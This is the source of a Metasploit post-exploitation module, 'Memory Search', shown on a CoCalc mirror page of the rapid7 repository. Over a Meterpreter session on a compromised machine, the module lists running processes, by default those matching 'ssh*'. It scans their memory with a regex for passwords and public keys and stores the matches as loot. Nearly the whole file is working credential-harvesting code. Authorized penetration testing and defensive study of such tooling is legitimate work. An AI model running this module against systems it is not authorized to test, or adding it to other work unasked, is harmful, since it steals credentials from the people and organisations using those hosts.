CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/memory_search.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Memory Search',
13
'Description' => %q{
14
This module allows for searching the memory space of running processes for
15
potentially sensitive data such as passwords.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => %w[sjanusz-r7],
19
'SessionTypes' => %w[meterpreter],
20
'Platform' => %w[linux unix osx windows],
21
'Arch' => [ARCH_X86, ARCH_X64],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_sys_process_memory_search
26
stdapi_sys_process_get_processes
27
]
28
}
29
},
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'Reliability' => [],
33
'SideEffects' => []
34
}
35
)
36
)
37
38
register_options(
39
[
40
::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),
41
::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),
42
::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),
43
::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
44
::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
45
::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),
46
::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])
47
]
48
)
49
end
50
51
def process_names_glob
52
datastore['PROCESS_NAMES_GLOB']
53
end
54
55
def process_ids
56
datastore['PROCESS_IDS']
57
end
58
59
def regex
60
datastore['REGEX']
61
end
62
63
def min_match_len
64
datastore['MIN_MATCH_LEN']
65
end
66
67
def max_match_len
68
datastore['MAX_MATCH_LEN']
69
end
70
71
def replace_non_printable_bytes?
72
datastore['REPLACE_NON_PRINTABLE_BYTES']
73
end
74
75
def save_loot?
76
datastore['SAVE_LOOT']
77
end
78
79
ARCH_MAP =
80
{
81
'i686' => ARCH_X86,
82
'x86' => ARCH_X86,
83
'x64' => ARCH_X64,
84
'x86_64' => ARCH_X64
85
}.freeze
86
87
def get_target_processes
88
raw_target_pids = process_ids || ''
89
target_pids = raw_target_pids.split(',').map(&:to_i)
90
target_processes = []
91
92
session_processes = session.sys.process.get_processes
93
process_table = session_processes.to_table
94
process_table.columns.unshift 'Matched?'
95
96
process_table.colprops.unshift(
97
{
98
'Formatters' => [],
99
'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new('true' => '%grn', 'false' => '%red')],
100
'ColumnStylers' => []
101
}
102
)
103
104
process_table.sort_index += 1
105
106
session_processes.each.with_index do |session_process, index|
107
pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
108
109
if target_pids.include?(pid) || ::File.fnmatch(process_names_glob || '', name, ::File::FNM_EXTGLOB)
110
target_processes.append session_process
111
process_table.rows[index].unshift 'true'
112
else
113
process_table.rows[index].unshift 'false'
114
end
115
end
116
117
vprint_status(process_table.to_s)
118
target_processes
119
end
120
121
def run_against_multiple_processes(processes: [])
122
results = []
123
124
processes.each do |process|
125
response = nil
126
status = nil
127
128
begin
129
response = session.sys.process.memory_search(
130
pid: process['pid'],
131
needles: [regex],
132
min_match_length: min_match_len,
133
max_match_length: max_match_len
134
)
135
status = :success
136
rescue ::Rex::Post::Meterpreter::RequestError => e
137
response = e
138
status = :failure
139
end
140
141
results.append({ process: process, status: status, response: response })
142
end
143
144
results
145
end
146
147
def print_result(result: nil)
148
return unless result
149
150
process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"
151
unless result[:status] == :success
152
warning_message = "Memory search request for #{process_info} failed. Return code: #{result[:response]}"
153
if result[:process]['arch'].empty? || result[:process]['path'].empty?
154
warning_message << "\n Potential reasons:"
155
warning_message << "\n\tInsufficient permissions."
156
end
157
print_warning warning_message
158
return
159
end
160
161
result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
162
if result_group_tlvs.empty?
163
match_not_found_msg = "No regular expression matches were found in memory for #{process_info}."
164
normalised_process_arch = ARCH_MAP[result[:process]['arch']] || result[:process]['arch']
165
166
potential_failure_reasons = []
167
168
if session.arch != normalised_process_arch
169
potential_failure_reasons.append "Architecture mismatch (session: #{session.arch}) (process: #{normalised_process_arch})"
170
end
171
172
if potential_failure_reasons.any?
173
match_not_found_msg << "\n Potential reasons:"
174
potential_failure_reasons.each { |potential_reason| match_not_found_msg << "\n\t#{potential_reason}" }
175
end
176
177
print_status match_not_found_msg
178
return
179
end
180
181
results_table = ::Rex::Text::Table.new(
182
'Header' => "Memory Matches for #{process_info}",
183
'Indent' => 1,
184
'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
185
)
186
187
address_length = session.native_arch == ARCH_X64 ? 16 : 8
188
result_group_tlvs.each do |result_group_tlv|
189
match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase
190
match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value
191
# Mettle doesn't return this TLV. We can get the match length from the buffer instead.
192
match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value
193
match_length ||= match_buffer.bytesize
194
region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase
195
region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase
196
197
if replace_non_printable_bytes?
198
match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join
199
end
200
201
results_table << [
202
"0x#{match_address.rjust(address_length, '0')}",
203
match_length,
204
match_buffer.inspect,
205
"0x#{region_start_address.rjust(address_length, '0')}",
206
"0x#{region_start_size.rjust(address_length, '0')}"
207
]
208
end
209
210
print_status results_table.to_s
211
end
212
213
def save_loot(results: [])
214
return if results.empty?
215
216
# Each result has a single response, which contains zero or more group tlv's.
217
results.each do |result|
218
# We don't want to save results that failed
219
next unless result[:status] == :success
220
221
group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
222
next if group_tlvs.empty?
223
224
group_tlvs.each do |group_tlv|
225
match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
226
next unless match
227
228
stored_loot = store_loot(
229
'memory.dmp',
230
'bin',
231
session,
232
match,
233
"memory_search_#{result[:process]['name']}.bin",
234
'Process Raw Memory Buffer'
235
)
236
vprint_good("Loot stored to: #{stored_loot}")
237
end
238
end
239
end
240
241
def run
242
if session.type != 'meterpreter'
243
print_error 'Only Meterpreter sessions are supported by this post module'
244
return
245
end
246
247
if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)
248
print_error 'PROCESS_IDS is not a comma-separated list of integers'
249
return
250
end
251
252
print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."
253
254
print_status 'Getting target processes...'
255
target_processes = get_target_processes
256
if target_processes.empty?
257
print_warning 'No target processes found.'
258
return
259
end
260
261
target_processes_message = "Running against the following processes:\n"
262
target_processes.each do |target_process|
263
target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"
264
end
265
266
print_status target_processes_message
267
processes_results = run_against_multiple_processes(processes: target_processes)
268
processes_results.each { |process_result| print_result(result: process_result) }
269
270
save_loot(results: processes_results) if save_loot?
271
end
272
end
273
274